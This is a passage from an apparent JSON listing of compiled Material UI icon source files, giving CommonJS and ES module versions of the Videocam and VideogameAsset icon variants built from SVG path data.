    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16.61V6.5l-4 4V6h-6.61zM3.41 1.86 2 3.27 4.73 6H3v12h13.73l3 3 1.41-1.41z\"\n}), 'VideocamOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16.61V6.5l-4 4V6h-6.61zM3.41 1.86 2 3.27 4.73 6H3v12h13.73l3 3 1.41-1.41z\"\n}), 'VideocamOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.39 8 15 10.61V8zM5 8v8h9.73l-8-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.41 1.86 2 3.27 4.73 6H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.21 0 .39-.08.55-.18L19.73 21l1.41-1.41zM5 16V8h1.73l8 8zm10-8v2.61l6 6V6.5l-4 4V7c0-.55-.45-1-1-1h-5.61l2 2z\"\n}, \"1\")], 'VideocamOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.39 8 15 10.61V8zM5 8v8h9.73l-8-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.41 1.86 2 3.27 4.73 6H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.21 0 .39-.08.55-.18L19.73 21l1.41-1.41zM5 16V8h1.73l8 8zm10-8v2.61l6 6V6.5l-4 4V7c0-.55-.45-1-1-1h-5.61l2 2z\"\n}, \"1\")], 'VideocamOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8v8H5V8zm1-2H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4V7c0-.55-.45-1-1-1\"\n}), 'VideocamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8v8H5V8zm1-2H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4V7c0-.55-.45-1-1-1\"\n}), 'VideocamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l2.29 2.29c.63.63 1.71.18 1.71-.71V8.91c0-.89-1.08-1.34-1.71-.71z\"\n}), 'VideocamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l2.29 2.29c.63.63 1.71.18 1.71-.71V8.91c0-.89-1.08-1.34-1.71-.71z\"\n}), 'VideocamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V6H3v12h14v-4.5l4 4v-11z\"\n}), 'VideocamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V6H3v12h14v-4.5l4 4v-11z\"\n}), 'VideocamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8h10v8H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4zm-2 9H5V8h10z\"\n}, \"1\")], 'VideocamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8h10v8H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4zm-2 9H5V8h10z\"\n}, \"1\")], 'VideocamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAsset.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-10 7H8v3H6v-3H3v-2h3V8h2v3h3zm4.5 2c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4-3c-.83 0-1.5-.67-1.5-1.5S18.67 9 19.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'VideogameAsset');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAsset.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-10 7H8v3H6v-3H3v-2h3V8h2v3h3zm4.5 2c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4-3c-.83 0-1.5-.67-1.5-1.5S18.67 9 19.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'VideogameAsset');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3.3 6.13C2.54 6.41 2 7.15 2 8v8c0 1.1.9 2 2 2h11.17l4.61 4.61zM9 13v2H7v-2H5v-2h2V9.83L10.17 13zm11.7 4.87c.76-.28 1.3-1.02 1.3-1.87V8c0-1.1-.9-2-2-2H8.83zM17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5\"\n}), 'VideogameAssetOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3.3 6.13C2.54 6.41 2 7.15 2 8v8c0 1.1.9 2 2 2h11.17l4.61 4.61zM9 13v2H7v-2H5v-2h2V9.83L10.17 13zm11.7 4.87c.76-.28 1.3-1.02 1.3-1.87V8c0-1.1-.9-2-2-2H8.83zM17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5\"\n}), 'VideogameAssetOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-6.67-1H20v8h-1.17l1.87 1.87c.75-.29 1.3-1.02 1.3-1.87V8c0-1.1-.9-2-2-2H8.83zm8.95 14.61L15.17 18H4c-1.1 0-2-.9-2-2V8c0-.85.55-1.58 1.3-1.87L1.39 4.22 2.8 2.81l18.38 18.38zM13.17 16l-3-3H9v2H7v-2H5v-2h2V9.83L5.17 8H4v8z\"\n}), 'VideogameAssetOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-6.67-1H20v8h-1.17l1.87 1.87c.75-.29 1.3-1.02 1.3-1.87V8c0-1.1-.9-2-2-2H8.83zm8.95 14.61L15.17 18H4c-1.1 0-2-.9-2-2V8c0-.85.55-1.58 1.3-1.87L1.39 4.22 2.8 2.81l18.38 18.38zM13.17 16l-3-3H9v2H7v-2H5v-2h2V9.83L5.17 8H4v8z\"\n}), 'VideogameAssetOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.7 17.87c.76-.28 1.3-1.02 1.3-1.87V8c0-1.1-.9-2-2-2H8.83zM17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m2.99 11.49L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.2 1.2C2.54 6.41 2 7.15 2 8v8c0 1.1.9 2 2 2h11.17l3.9 3.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M10 13H9v1c0 .55-.45 1-1 1s-1-.45-1-1v-1H6c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.05.01-.11.01-.16l3.14 3.14c-.04.01-.1.02-.15.02\"\n}), 'VideogameAssetOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.7 17.87c.76-.28 1.3-1.02 1.3-1.87V8c0-1.1-.9-2-2-2H8.83zM17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m2.99 11.49L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.2 1.2C2.54 6.41 2 7.15 2 8v8c0 1.1.9 2 2 2h11.17l3.9 3.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M10 13H9v1c0 .55-.45 1-1 1s-1-.45-1-1v-1H6c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.05.01-.11.01-.16l3.14 3.14c-.04.01-.1.02-.15.02\"\n}), 'VideogameAssetOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.83 18H22V6H8.83zM17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m3.69 12.19L2.81 2.81 1.39 4.22 3.17 6H2v12h13.17l4.61 4.61zM9 13v2H7v-2H5v-2h2V9.83L10.17 13z\"\n}), 'VideogameAssetOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.83 18H22V6H8.83zM17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m3.69 12.19L2.81 2.81 1.39 4.22 3.17 6H2v12h13.17l4.61 4.61zM9 13v2H7v-2H5v-2h2V9.83L10.17 13z\"\n}), 'VideogameAssetOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.83 8 8 8H20V8zm6.67 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5m-4.33 4-3-3H9v2H7v-2H5v-2h2V9.83L5.17 8H4v8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-6.67-1H20v8h-1.17l1.87 1.87c.75-.29 1.3-1.02 1.3-1.87V8c0-1.1-.9-2-2-2H8.83zm8.95 14.61L15.17 18H4c-1.1 0-2-.9-2-2V8c0-.85.55-1.58 1.3-1.87L1.39 4.22 2.8 2.81l18.38 18.38zM13.17 16l-3-3H9v2H7v-2H5v-2h2V9.83L5.17 8H4v8z\"\n}, \"1\")], 'VideogameAssetOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.83 8 8 8H20V8zm6.67 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5m-4.33 4-3-3H9v2H7v-2H5v-2h2V9.83L5.17 8H4v8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 9c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-6.67-1H20v8h-1.17l1.87 1.87c.75-.29 1.3-1.02 1.3-1.87V8c0-1.1-.9-2-2-2H8.83zm8.95 14.61L15.17 18H4c-1.1 0-2-.9-2-2V8c0-.85.55-1.58 1.3-1.87L1.39 4.22 2.8 2.81l18.38 18.38zM13.17 16l-3-3H9v2H7v-2H5v-2h2V9.83L5.17 8H4v8z\"\n}, \"1\")], 'VideogameAssetOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h18zM6 15h2v-2h2v-2H8V9H6v2H4v2h2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"2\")], 'VideogameAssetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h18zM6 15h2v-2h2v-2H8V9H6v2H4v2h2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"2\")], 'VideogameAssetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-11 7H8v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H4c-.55 0-1-.45-1-1s.45-1 1-1h2V9c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1m5.5 2c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4-3c-.83 0-1.5-.67-1.5-1.5S18.67 9 19.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'VideogameAssetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-11 7H8v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H4c-.55 0-1-.45-1-1s.45-1 1-1h2V9c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1m5.5 2c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4-3c-.83 0-1.5-.67-1.5-1.5S18.67 9 19.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'VideogameAssetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 6H1v12h22zm-12 7H8v3H6v-3H3v-2h3V8h2v3h3zm4.5 2c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4-3c-.83 0-1.5-.67-1.5-1.5S18.67 9 19.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'VideogameAssetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 6H1v12h22zm-12 7H8v3H6v-3H3v-2h3V8h2v3h3zm4.5 2c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4-3c-.83 0-1.5-.67-1.5-1.5S18.67 9 19.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'VideogameAssetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 16h18V8H3zm15.5-7c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-4 3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5M4 11h2V9h2v2h2v2H8v2H6v-2H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h18zM6 15h2v-2h2v-2H8V9H6v2H4v2h2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"3\")], 'VideogameAssetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideogameAssetTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 16h18V8H3zm15.5-7c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-4 3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5M4 11h2V9h2v2h2v2H8v2H6v-2H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h18zM6 15h2v-2h2v-2H8V9H6v2H4v2h2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18.5\",\n  cy: \"10.5\",\n  r: 